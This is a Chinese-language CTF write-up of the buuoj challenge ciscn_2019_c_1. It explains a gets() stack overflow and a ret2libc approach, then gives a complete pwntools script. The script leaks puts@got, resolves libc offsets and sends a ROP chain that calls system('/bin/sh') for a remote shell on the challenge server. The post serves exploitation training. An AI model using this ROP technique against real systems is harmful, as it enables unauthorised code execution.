buuoj - 2019国赛第一题

RocketDev

From buuoj.

文件分析

下载ciscn_2019_c_1, NX on, PIE off, RELRO partial
ghidra分析为64位程序

解题思路

函数encrypt()中存在gets,考虑栈溢出攻击
.text段中不存在后门函数,并且有nx,考虑ret2libc

记录首次学会

  1. 获取pop rdi; ret;和puts@plt地址
  2. 栈溢出打印puts@got
  3. 根据puts@got获知靶机使用的libc
  4. puts@got偏移到system@got & shstr@got
  5. 回到gets函数,重新执行溢出拿到sh

如果一个字节为0x0a会被截断!(换行)

EXPLOIT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
import LibcSearcher
sh = remote('node4.buuoj.cn', 29693)
elf = ELF('ciscn_2019_c_1')

putsPlt = elf.plt['puts']
putsGot = elf.got['puts']
popRdiAddr = 0x0400c83
vulnAddr = 0x004009a0
retAddr = 0x0040099f # 不能带0x0a!!!

sh.sendline(b'1') # 选择1.Encrypt (Vulnerable Function)
sh.sendline(b'0'*0x58 + p64(popRdiAddr) + p64(putsGot) + p64(putsPlt) + p64(vulnAddr))

sh.recvuntil(b'\nI') # skip
sh.recvuntil(b'\nI') # skip
data = sh.recvuntil(b'\nI')
putsGotAddr = u64(data[-8:-2] + b'\0\0')

libc = LibcSearcher.LibcSearcher('puts', putsGotAddr & 0xfff)
libcbase = putsGotAddr - libc.dump('puts')
systemAddr = libcbase + libc.dump('system')
shstrAddr = libcbase + libc.dump('str_bin_sh')

sh.sendline(b'0'*0x58 + p64(popRdiAddr) + p64(shstrAddr) + p64(retAddr) + p64(systemAddr))

sh.interactive()

Done.

  • 标题: buuoj - 2019国赛第一题
  • 作者: RocketDev
  • 创建于 : 2023-09-20 12:00:00
  • 更新于 : 2024-07-25 12:34:56
  • 链接: https://rocketmadev.github.io/2023/09/20/ciscn2019c1/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
buuoj - 2019国赛第一题